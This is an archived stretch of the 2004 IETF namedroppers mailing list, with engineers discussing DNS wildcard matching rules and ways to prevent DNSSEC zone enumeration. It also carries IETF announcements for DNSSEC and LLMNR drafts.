Fri Dec 29 10:46:06 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: more wild cards Date: Fri, 10 Sep 2004 15:11:37 -0400 Lines: 51 Sender: owner-namedroppers@ops.ietf.org References: <413920C7.3000809@daimlerchrysler.com> <a06020407bd5ce15f1169@[192.168.1.100]> <a06020401bd5c29d82510@[192.168.1.100]> <27579.1094135350@munnari.OZ.AU> <3659.1094156279@munnari.OZ.AU> <18901.1094415765@munnari.OZ.AU> <413C692C.1060702@algroup.co.uk> <a06020411bd63a804f192@[192.168.1.100]> <413F02ED.70506@algroup.co.uk> <a06020406bd64beea9a38@[192.136.136.102]> <413F17FB.1010907@algroup.co.uk> <a0602040dbd64e0c58974@[192.136.136.102]> <4140870E.1060804@algroup.co.uk> <20040910094642.4fc59c65.olaf@ripe.net> <a06020407bd67674b7a39@[192.168.1.100]> <4141EF64.5030206@algroup.co.uk> <188752F3D902B821EF736503@[192.168.100.25]> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: Ben Laurie <ben@algroup.co.uk>, Edward Lewis <edlewis@arin.net>, "Olaf M. Kolkman" <olaf@ripe.net>, namedroppers@ops.ietf.org, Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 21:20:07 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <188752F3D902B821EF736503@[192.168.100.25]> To: Alex Bligh <alex@alex.org.uk> Precedence: bulk At 20:04 +0100 9/10/04, Alex Bligh wrote: >> Let's say I have this in my zone: >> >> example.com. SOA ... >> NS localhost. >> * TXT 1 >> bar.* TXT 2 >> *.bar.* TXT 3 >> >> [A] If the query is for "foo.bar.star.example.com, TXT" is the answer "1"? >> [B] If the query is for "foo.bar.*.example.com, TXT" is the answer "3"? >> [C] If the query is for "foo.*.example.com, TXT" is the answer NXDOMAIN? > >And just for further clarity: > >[D] if the query is for "bar.star.example.com, TXT", the answer, like [A] >is "1" (not "2") > >[E] if the query is for "bar.*.example.com, TXT", the answer is "2" > >Am I right? Yeah. E is a direct hit. >(I think [A] & [D] are are the MARID questions though I'm not following >MARID). If I recall correctly, the desire there was to have: *.example.com MX ... _marid.*.example.com MARID ... And hope that the _marid record would match all the hits for the MX record. The thought came about from an understanding of the SRV record's prefixing convention (that the SRV record for ssh would be at _ssh._tcp.<hostname>). -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: thesaurus attack Date: Fri, 10 Sep 2004 15:06:17 -0400 Lines: 40 Sender: owner-namedroppers@ops.ietf.org References: <200409101850.i8AIoej16946@grimsvotn.TechFak.Uni-Bielefeld.DE> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 21:20:18 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <200409101850.i8AIoej16946@grimsvotn.TechFak.Uni-Bielefeld.DE> To: Peter Koch <pk@TechFak.Uni-Bielefeld.DE> Precedence: bulk At 20:50 +0200 9/10/04, Peter Koch wrote: >there'd be a '*' label as an empty non-terminal. To avoid empty terminals, >this should not instantiate '*.example.com' as a wildcard. However, that >conflicts with step 3 of the algorithm in 1034. Ahh, yeah, what about empty non-terminal '*' nodes in the tree and the role they might play as a source of synthetic records. Sigh. I suppose if you read the very last paragraph of step 3, you would take this to mean that any name matching an empty non-terminal '*' node would result in a no error, no data return (neglecting the CNAME rules). >What about *.*.example. as a QNAME? That would be covered by closest >encloser *.example. and *.*.example.com as a wildcard source. I don't think that's right. If you have *.example.com and *.*.example.com in the zone and the query is for *.*.example.com, then you'd get a direct hit on the latter zone member. If the query was for *.*.*.example.com, you'd match the *.*.example.com "source of synthesis" - not the *.example.com. Does that make sense? -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: "Scott Rose" <scottr@nist.gov> Subject: RE: more wild cards Date: Fri, 10 Sep 2004 15:19:46 -0400 Lines: 56 Sender: owner-namedroppers@ops.ietf.org References: <188752F3D902B821EF736503@[192.168.100.25]> Mime-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 21:32:37 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: <namedroppers@ops.ietf.org> X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) In-Reply-To: <188752F3D902B821EF736503@[192.168.100.25]> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 X-NIST-MailScanner: Found to be clean X-MailScanner-From: scottr@nist.gov Precedence: bulk > -----Original Message----- > From: owner-namedroppers@ops.ietf.org > [mailto:owner-namedroppers@ops.ietf.org]On Behalf Of Alex Bligh > > > Let's say I have this in my zone: > > > > example.com. SOA ... > > NS localhost. > > * TXT 1 > > bar.* TXT 2 > > *.bar.* TXT 3 > > > > [A] If the query is for "foo.bar.star.example.com, TXT" is the > answer "1"? > > [B] If the query is for "foo.bar.*.example.com, TXT" is the answer "3"? > > [C] If the query is for "foo.*.example.com, TXT" is the answer NXDOMAIN? > > And just for further clarity: > > [D] if the query is for "bar.star.example.com, TXT", the answer, like [A] > is "1" (not "2") > Hmmm, not sure. The way I read RFC1034 algo, "star.example.com" is the closest encloser to the query, so NXDOMAIN would be returned. This would hamper one of the ideas the MARID WG had. > [E] if the query is for "bar.*.example.com, TXT", the answer is "2" > > Am I right? > I think that is the answer as well. Scott > (I think [A] & [D] are are the MARID questions though I'm not following > MARID). > > Alex > > -- > to unsubscribe send a message to namedroppers-request@ops.ietf.org with > the word 'unsubscribe' in a single line as the message text body. > archive: <http://ops.ietf.org/lists/namedroppers/> > -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: "Scott Rose" <scottr@nist.gov> Subject: RE: more wild cards Date: Fri, 10 Sep 2004 15:24:35 -0400 Lines: 56 Sender: owner-namedroppers@ops.ietf.org References: <188752F3D902B821EF736503@[192.168.100.25]> Mime-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 21:32:43 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: <namedroppers@ops.ietf.org> X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) In-Reply-To: <188752F3D902B821EF736503@[192.168.100.25]> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 X-NIST-MailScanner: Found to be clean X-MailScanner-From: scottr@nist.gov Precedence: bulk Whoops, my bad: The closest encloser for [D] would be "example.com". not "star.example.com". At least that's my impression from the wildcard clarify draft. Scott > -----Original Message----- > From: owner-namedroppers@ops.ietf.org > [mailto:owner-namedroppers@ops.ietf.org]On Behalf Of Alex Bligh > Sent: Friday, September 10, 2004 3:05 PM > To: Ben Laurie; Edward Lewis > Cc: Olaf M. Kolkman; namedroppers@ops.ietf.org; Alex Bligh > Subject: Re: more wild cards > > > > Let's say I have this in my zone: > > > > example.com. SOA ... > > NS localhost. > > * TXT 1 > > bar.* TXT 2 > > *.bar.* TXT 3 > > > > [A] If the query is for "foo.bar.star.example.com, TXT" is the > answer "1"? > > [B] If the query is for "foo.bar.*.example.com, TXT" is the answer "3"? > > [C] If the query is for "foo.*.example.com, TXT" is the answer NXDOMAIN? > > And just for further clarity: > > [D] if the query is for "bar.star.example.com, TXT", the answer, like [A] > is "1" (not "2") > > [E] if the query is for "bar.*.example.com, TXT", the answer is "2" > > Am I right? > > (I think [A] & [D] are are the MARID questions though I'm not following > MARID). > > Alex > > -- > to unsubscribe send a message to namedroppers-request@ops.ietf.org with > the word 'unsubscribe' in a single line as the message text body. > archive: <http://ops.ietf.org/lists/namedroppers/> > -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Edward Lewis <edlewis@arin.net> Subject: RE: more wild cards Date: Fri, 10 Sep 2004 15:39:06 -0400 Lines: 23 Sender: owner-namedroppers@ops.ietf.org References: <ANECIHCPCBDLLEJLCOPGKEJPCOAA.scottr@nist.gov> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: <namedroppers@ops.ietf.org> X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 21:46:14 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <ANECIHCPCBDLLEJLCOPGKEJPCOAA.scottr@nist.gov> To: "Scott Rose" <scottr@nist.gov> Precedence: bulk At 15:24 -0400 9/10/04, Scott Rose wrote: >Whoops, my bad: > >The closest encloser for [D] would be "example.com". not >"star.example.com". At least that's my impression from the wildcard clarify >draft. ...;) and I had a pretty printed response to say as much. ;) Yeah, the tree doesn't have a star.example.com, so it can't be the closest encloser. -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From ietf-announce-bounces@ietf.org Fri Dec 29 10:46:06 2006 From: The IESG <iesg-secretary@ietf.org> Subject: Last Call: (revised) 'DNS Security Introduction and Requirements' to Proposed Standard Date: Fri, 10 Sep 2004 15:33:29 -0400 Lines: 33 Sender: ietf-announce-bounces@ietf.org Reply-To: iesg@ietf.org Cc: namedroppers@ops.ietf.org X-From: ietf-announce-bounces@ietf.org Fri Sep 10 21:57:06 2004 Return-path: <ietf-announce-bounces@ietf.org> X-test-idtracker: no To: IETF-Announce <ietf-announce@ietf.org> X-Spam-Score: 0.0 (/) X-Scan-Signature: 2409bba43e9c8d580670fda8b695204a X-BeenThere: ietf-announce@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: ietf-announce.ietf.org List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/ietf-announce>, <mailto:ietf-announce-request@ietf.org?subject=unsubscribe> List-Post: <mailto:ietf-announce@ietf.org> List-Help: <mailto:ietf-announce-request@ietf.org?subject=help> List-Subscribe: <https://www1.ietf.org/mailman/listinfo/ietf-announce>, <mailto:ietf-announce-request@ietf.org?subject=subscribe> Errors-To: ietf-announce-bounces@ietf.org Note: Update to the in-progress Last Call. dnsext-dnssec-records contains a normative reference to (Informational) RFC 3548. Such a reference is not normally permitted from a Standards Track document, unless the need for this is explicitely called out during the Last Call and is accepted by the community (i.e., per draft-ymbk-downref-03.txt). This note makes explicit the intention to reference RFC 3548 in a normative fashion. The IESG has received a request from the DNS Extensions WG to consider the following documents: - 'DNS Security Introduction and Requirements ' <draft-ietf-dnsext-dnssec-intro-11.txt> as a Proposed Standard - 'Resource Records for the DNS Security Extensions ' <draft-ietf-dnsext-dnssec-records-09.txt> as a Proposed Standard - 'Protocol Modifications for the DNS Security Extensions ' <draft-ietf-dnsext-dnssec-protocol-07.txt> as a Proposed Standard The IESG plans to make a decision in the next few weeks, and solicits final comments on this action. Please send any comments to the iesg@ietf.org or ietf@ietf.org mailing lists by 2004-09-24. The file can be obtained via http://www.ietf.org/internet-drafts/draft-ietf-dnsext-dnssec-intro-11.txt http://www.ietf.org/internet-drafts/draft-ietf-dnsext-dnssec-records-09.txt http://www.ietf.org/internet-drafts/draft-ietf-dnsext-dnssec-protocol-07.txt _______________________________________________ IETF-Announce mailing list IETF-Announce@ietf.org https://www1.ietf.org/mailman/listinfo/ietf-announce From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-dnsext-mdns-36.txt Date: Fri, 10 Sep 2004 15:54:28 -0400 Lines: 97 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 22:00:55 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: i-d-announce@ietf.org Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the DNS Extensions Working Group of the IETF. Title : Linklocal Multicast Name Resolution (LLMNR) Author(s) : L. Esibov, et al. Filename : draft-ietf-dnsext-mdns-36.txt Pages : 26 Date : 2004-9-10 Today, with the rise of home networking, there are an increasing number of ad-hoc networks operating without a Domain Name System (DNS) server. The goal of Link-Local Multicast Name Resolution (LLMNR) is to enable name resolution in scenarios in which conventional DNS name resolution is not possible. LLMNR supports all current and future DNS formats, types and classes, while operating on a separate port from DNS, and with a distinct resolver cache. Since LLMNR only operates on the local link, it cannot be considered a substitute for DNS. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-dnsext-mdns-36.txt To remove yourself from the I-D Announcement list, send a message to i-d-announce-request@ietf.org with the word unsubscribe in the body of the message. You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce to change your subscription settings. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-dnsext-mdns-36.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-dnsext-mdns-36.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2004-9-10154159.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-dnsext-mdns-36.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-dnsext-mdns-36.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2004-9-10154159.I-D@ietf.org> --OtherAccess-- --NextPart-- -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: thesaurus attack Date: Sat, 11 Sep 2004 03:08:56 +0700 Lines: 122 Sender: owner-namedroppers@ops.ietf.org References: <a06020409bd677918a675@[192.168.1.100]> <a06020407bd64c0ca0a9b@[192.136.136.102]> <6191.1094692472@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 22:17:07 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Edward Lewis <edlewis@arin.net> In-Reply-To: <a06020409bd677918a675@[192.168.1.100]> Precedence: bulk Date: Fri, 10 Sep 2004 11:36:13 -0400 From: Edward Lewis <edlewis@arin.net> Message-ID: <a06020409bd677918a675@[192.168.1.100]> | Asking for clarification... | So, looking at an example I used in another message, *.example.com is | not a wildcard (synthesis source) because there's a | *.bar.*.example.com? No (I agree with your 3 "yes" answers). But you can really only talk about a wildcard in the context of a particular query, in some queries a '*' is a wildcard, in others it is not. | Do you think the text in Appendix A is wrong? Yes, some of it - but the worst is that it isn't explaining things in the correct way. Giving lists of domain names with '*'s in them makes things look like patterns, and people are tempted to do pattern matching. That way gets very confusing, and the answers people start assuming end up all over the place. I don't think any of the answers from the examples is wrong, just the way it is explained. | The first thing to realize is that by all definitions, subdomains of | wild card domain names are legal. This makes no sense, sub-domains of a domain which is *.xxx are legal, but if it (*.xxx) is being used as a wildcard, it ends any query, whether or not the '*' might have sub-domains is irrelevant. | The concept of "closest enclosing" existing names is important to keep in | mind. Yes, though I'm not real sure I like that term - but I'm not sure what would be a better one. | It is also important to realize that a wild card domain name can | be a closest encloser of a query name. Not a wildcard domain, a '*' label. | For example, if *.*.example. is defined in a zone, That's irrelevant here, but you do need to assume that *.example.com is defined. | and the query name is a.*.example., then the closest | enclosing domain name is *.example. "... which is not a wildcard, but simply a domain". | Keep in mind that the closest | encloser is not eligible to be a source of synthesized answers, just the | subdomain of it that has the first label "*". That is, if there is a sibling domain (child of the same parent) for the rightmost domain that does not explicitly exist, and that sibling is '*', then any RRs it owns which are the same type as te QTYPE are the answer returned for the QNAME. If there are no RR's of the appropriate type, NODATA is returned (shouldn't be using bindisms, but here everyone knows what I mean). | To illustrate this, the following chart shows some matches. Assume that | the names *.example., *.*.example., and *.sub.*.example. are defined | in the zone. ... and that there are no other '*' labels in (or below) example. (without that, some of the answers below might be wrong). You also need to assume that various other domains don't exist (like a.example). | QNAME Closest Encloser Wild Card Source | a.example. example. *.example. | b.a.example. example. *.example. | a.*.example. *.example. *.*.example. | b.a.*.example. *.example. *.*.example. | b.a.*.*.example. *.*.example. no wild card | a.sub.*.example. sub.*.example. *.sub.*.example. | b.a.sub.*.example. sub.*.example. *.sub.*.example. | a.*.sub.*.example. *.sub.*.example. no wild card | *.a.example. example. *.example. | a.sub.b.example. example. *.example. | | Recall that the closest encloser itself cannot be the wild card. This is a direct contradiction of what was said earlier ... It is also important to realize that a wild card domain name can be a closest encloser of a query name. | Therefore | the match for b.a.*.*.example. has no applicable wild card. the reason is that *.*.example. is the longest match (closest encloser), as there is no a.*.*.example. (we're assuming, without stating it) and there is no *.*.*.example which would be the only candidate to be the wildcard. | Finally, if a query name is sub.*.example., any answer available will come | from an exact name match for sub.*.example. No wild card synthesis is | performed in this case. But if the lookup is algorithm is clear, none of this should be needed. Just make it plain that it is possible for any string to be a domain name label, including '*', and that those strings can match exactly against the same string in the QNAME. To be a wildcard, there's only ever one possibility - a '*' label which is a sibling of the rightmost label in the QNAME which is not explicitly present in the DNS tree. kre -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: dictionary attack on nameservers Date: Sat, 11 Sep 2004 03:59:33 +0700 Lines: 37 Sender: owner-namedroppers@ops.ietf.org References: <ilusm9qarfx.fsf@latte.josefsson.org> <Mark_Andrews@isc.org> <6282.1094824776@gromit.rfc1035.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 23:08:40 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Simon Josefsson <jas@extundo.com> In-Reply-To: <ilusm9qarfx.fsf@latte.josefsson.org> Precedence: bulk Date: Fri, 10 Sep 2004 20:50:58 +0200 From: Simon Josefsson <jas@extundo.com> Message-ID: <ilusm9qarfx.fsf@latte.josefsson.org> | There are at least two solutions to that problem. no, there are no solutions for this problem in any proposal that requires adding new names (attempts to steal some of the namespace) for any existing RR type (the _tcp stuff in SRV records is annoying, but not fatal, as they're relevant only to SRV lookups and don't prevent _tcp being used as a label for any other RR types). | The first is to use salting to make sure there are no collisions. That doesn't work, you just collide with a different name. For any name that you propose adding, I simply add the same name with whatever RR types cause your proposal to have problems. | The second one is to place the NSECbis record in a separate name | space. In this case the "separate name space" is the name that is the problem. | PS. All of this has been mentioned before. It seems like a process | failure that we keep repeating these discussions. Perhaps, but if people keep not understanding, there's little choice but to keep on repeating. Eventually the message might get through. kre -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: thesaurus attack Date: Sat, 11 Sep 2004 04:02:47 +0700 Lines: 21 Sender: owner-namedroppers@ops.ietf.org References: <200409101850.i8AIoej16946@grimsvotn.TechFak.Uni-Bielefeld.DE> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 23:09:02 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Peter Koch <pk@TechFak.Uni-Bielefeld.DE> In-Reply-To: <200409101850.i8AIoej16946@grimsvotn.TechFak.Uni-Bielefeld.DE> Precedence: bulk Date: Fri, 10 Sep 2004 20:50:40 +0200 From: Peter Koch <pk@TechFak.Uni-Bielefeld.DE> Message-ID: <200409101850.i8AIoej16946@grimsvotn.TechFak.Uni-Bielefeld.DE> | To avoid empty terminals, There's no reason to do that. We don't have them in the normal name tree, but the reason for that is that there's no way to represent them. Here, the "empty terminal" only appears in the answer to a query, where it cannot be detected as being terminal, so there's no need to do anything special to avoid this case, just leave it. kre -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Alex Bligh <alex@alex.org.uk> Subject: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Fri, 10 Sep 2004 22:39:33 +0100 Lines: 71 Sender: owner-namedroppers@ops.ietf.org References: <ilusm9qarfx.fsf@latte.josefsson.org> <Mark_Andrews@isc.org> <6282.1094824776@gromit.rfc1035.com> <11585.1094849973@munnari.OZ.AU> Reply-To: Alex Bligh <alex@alex.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: namedroppers@ops.ietf.org, Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 23:46:43 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Robert Elz <kre@munnari.OZ.AU>, Simon Josefsson <jas@extundo.com> In-Reply-To: <11585.1094849973@munnari.OZ.AU> X-Mailer: Mulberry/3.1.5 (Win32) Content-Disposition: inline Precedence: bulk --On 11 September 2004 03:59 +0700 Robert Elz <kre@munnari.OZ.AU> wrote: > | The first is to use salting to make sure there are no collisions. > > That doesn't work, you just collide with a different name. For any > name that you propose adding, I simply add the same name with whatever > RR types cause your proposal to have problems. [ I hope Olaf's going to forgive me on this one, but I think we are now talking about something quite different from the circular discussion on whether or not non-enumerability is needed and what the requirements are so I have changed the subject appropriately ] I'm lost. Let me do some CS/Math and then see if I have applied it without missing the point: If you have a set of labels X, and a set of labels Y where Y(i) = HASH ( X(i) , S, H) i.e. a hash of X(i) using salt S (the same for all values of i) and H bit hash, then, providing n(X) << 2^H, it's trivially easy (and computationally efficient) to find a value S such that there are NO values i, j such that Y(i) = X(j) - I'll call that finding a non-colliding salt value S such that there are no collisions between the range and domain of the hash function. One possible mechanism is simply to iterate through values of S chosen according to any cyclic algorithm with a cycle length >> n(X) (let's say of length 2^H or similar) - let's call the values S(1), S(2), S(3) etc. - you can show that you will find a first non-colliding value S(c) in a computationally small number of iterations (the expected number of iterations c is in essence 1, assuming n(X)<<2^H). I don't *think* I'm wrong on that bit of CS / math. Assuming I'm not wrong, and assuming some NSEC2/NSEC+-esque proposal, whatever routine is used to generate the NSEC2/NSEC+ etc. records you don't want to collide (let's say, to be really safe, with ANY record, no matter WHAT the RRTYPE) you just first create them with S(1), if there is a collision (irrespective of RRTYPE) try S(2), etc. etc., and again the expected number of iterations is in essence 1, assuming n(X)<<2^H. Now if you add another name, you do the same. Is there a collision now? No - then no problem. Yes - then time to resalt. There's no external DoS risk as it's only the zone owner who can add the names - if they are deliberately (for some reason) chosing to add names that collide with existing hashed records, then "don't do that". So I think they CAN be avoided algorithmically - in a similar sort of way to the creation of Bloom filters, but with far less computational complexity. For the record, for the reasons Ben mentioned a good while ago, I am not sure why collisions are actually a problem at all - i.e. if we have $ORIGIN example.com alex IN TXT "1" jim IN TXT "2" why is it a problem if HASH("alex")="jim" and so we also have jim IN NSECBLAH whatever I'm quite prepared to believe it is a problem, and my understanding of the protocol is flawed, but I'd like to be educated :-) Alex -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Peter Koch <pk@TechFak.Uni-Bielefeld.DE> Subject: Re: thesaurus attack Date: Fri, 10 Sep 2004 23:42:08 +0200 Lines: 54 Sender: owner-namedroppers@ops.ietf.org References: <a0602040dbd67aa223024@[192.168.1.100]> X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 23:48:13 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Authentication-Warning: zeder.TechFak.Uni-Bielefeld.DE: pk owned process doing -bs X-Authentication-Warning: zeder.TechFak.Uni-Bielefeld.DE: pk@localhost didn't use HELO protocol To: namedroppers@ops.ietf.org In-reply-to: Your message of "Fri, 10 Sep 2004 15:06:17 EDT." <a0602040dbd67aa223024@[192.168.1.100]> X-Organization: Uni Bielefeld, Technische Fakultaet X-Phone: +49 521 106 2902 Precedence: bulk Edward Lewis <edlewis@arin.net> wrote: > I suppose if you read the very last paragraph of step 3, you would > take this to mean that any name matching an empty non-terminal '*' > node would result in a no error, no data return (neglecting the CNAME > rules). yes. > If you have *.example.com and *.*.example.com in the zone and the > query is for *.*.example.com, then you'd get a direct hit on the > latter zone member. agreed. > If the query was for *.*.*.example.com, you'd match the > *.*.example.com "source of synthesis" - not the *.example.com. Probably not, sorry for the confusion. It's easy if we don't translate '*' to "all names": Given a zone example.com @ SOA ... NS ... * TXT " ... " A QNAME something.example.com is matched by the wildcard. A QNAME *.example.com is NOT matched by the wildcard but gives a direct match. This does not change the result, but is important for the next step. A QNAME of a.*.example.com results in NXDOMAIN. That's because the wildcard matches all names except those which "exist". "*.example.com" does exist, so the tree is pruned here. Now that's consistent with Appendix A claiming that b.a.*.*.example is not covered bey either *.example or *.*.example. The common assumption that in an otherwise empty zone (see above) the '*' covers *all* names is just wrong. To really catch all you'd have to add *.* TXT " ... " *.*.* TXT " ... " [...] up to the maximum domain name length (whatever that really is). All that's already said in terms of closest encloser etc in the draft, but I guess an example like this with some prose in the appendix won't hurt. The joke helped. -Peter -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Peter Koch <pk@TechFak.Uni-Bielefeld.DE> Subject: Re: thesaurus attack Date: Sat, 11 Sep 2004 00:14:08 +0200 Lines: 34 Sender: owner-namedroppers@ops.ietf.org References: <5857.1094850167@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-From: owner-namedroppers@ops.ietf.org Sat Sep 11 00:21:16 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Authentication-Warning: grimsvotn.TechFak.Uni-Bielefeld.DE: pk owned process doing -bs X-Authentication-Warning: grimsvotn.TechFak.Uni-Bielefeld.DE: pk@localhost didn't use HELO protocol To: namedroppers@ops.ietf.org In-reply-to: Your message of "Sat, 11 Sep 2004 04:02:47 +0700." <5857.1094850167@munnari.OZ.AU> X-Organization: Uni Bielefeld, Technische Fakultaet X-Phone: +49 521 106 2902 Content-ID: <17388.1094854447.1@grimsvotn.TechFak.Uni-Bielefeld.DE> Precedence: bulk Robert Elz <kre@munnari.OZ.AU> wrote: > Here, the "empty terminal" only appears in the answer to a query, where it > cannot be detected as being terminal, so there's no need to do anything > special to avoid this case, just leave it. OK, but then for the sake of clarity the draft should mention this case explicitly, e.g.: Empty Terminals Empty terminals (leaves) do not exist without wildcards because there is no defined way to bring a name into existence without making it or one of its descendants (then it would be no longer a terminal) the owner of at least one RR. Although there is a NULL RR type specified in RFC 1035, its purpose is left open. With '*' 